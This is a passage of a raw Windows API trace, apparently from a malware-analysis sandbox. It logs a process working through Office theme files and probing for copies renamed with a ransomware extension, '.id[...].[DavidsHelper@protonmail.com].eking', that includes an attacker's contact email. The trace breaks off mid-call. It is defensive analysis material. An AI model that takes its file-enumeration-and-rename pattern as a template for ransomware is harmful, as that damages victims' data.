returned 0xffffffff [0175.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.345] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=54687) returned 1 [0175.345] CloseHandle (hObject=0x1e4) returned 1 [0175.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm")) returned 0x20 [0175.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm")) returned 0x20 [0175.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.346] SetEvent (hEvent=0x174) returned 1 [0175.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.347] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=484) returned 1 [0175.347] CloseHandle (hObject=0x1e4) returned 1 [0175.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf")) returned 0x20 [0175.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf")) returned 0x20 [0175.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.348] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=21812) returned 1 [0175.348] CloseHandle (hObject=0x1e4) returned 1 [0175.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 0x20 [0175.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 0x20 [0175.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.350] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=2527) returned 1 [0175.350] CloseHandle (hObject=0x1e4) returned 1 [0175.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 0x20 [0175.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 0x20 [0175.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0175.356] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=68337) returned 1 [0175.356] CloseHandle (hObject=0x1e8) returned 1 [0175.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm")) returned 0x20 [0175.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm")) returned 0x20 [0175.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.357] SetEvent (hEvent=0x174) returned 1 [0175.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0175.359] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=466) returned 1 [0175.359] CloseHandle (hObject=0x1e8) returned 1 [0175.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf")) returned 0x20 [0175.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf")) returned 0x20 [0175.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.360] SetEvent (hEvent=0x174) returned 1 [0175.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0175.362] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=19525) returned 1 [0175.362] CloseHandle (hObject=0x1e8) returned 1 [0175.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 0x20 [0175.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 0x20 [0175.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.362] SetEvent (hEvent=0x174) returned 1 [0175.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0175.363] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1737) returned 1 [0175.363] CloseHandle (hObject=0x1e8) returned 1 [0175.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 0x20 [0175.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 0x20 [0175.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0175.364] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=57906) returned 1 [0175.364] CloseHandle (hObject=0x1e8) returned 1 [0175.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm")) returned 0x20 [0175.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm")) returned 0x20 [0175.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0175.367] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=625) returned 1 [0175.367] CloseHandle (hObject=0x1e8) returned 1 [0175.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf")) returned 0x20 [0175.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf")) returned 0x20 [0175.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.369] SetEvent (hEvent=0x174) returned 1 [0175.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0175.370] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=33479) returned 1 [0175.370] CloseHandle (hObject=0x1e8) returned 1 [0175.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 0x20 [0175.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 0x20 [0175.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0175.371] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1675) returned 1 [0175.371] CloseHandle (hObject=0x1e8) returned 1 [0175.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 0x20 [0175.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 0x20 [0175.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.376] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=49133) returned 1 [0175.376] CloseHandle (hObject=0x1e4) returned 1 [0175.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm")) returned 0x20 [0175.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm")) returned 0x20 [0175.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.389] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=578) returned 1 [0175.389] CloseHandle (hObject=0x1e4) returned 1 [0175.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf")) returned 0x20 [0175.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf")) returned 0x20 [0175.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.394] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=18380) returned 1 [0175.394] CloseHandle (hObject=0x1e4) returned 1 [0175.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 0x20 [0175.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 0x20 [0175.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0175.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 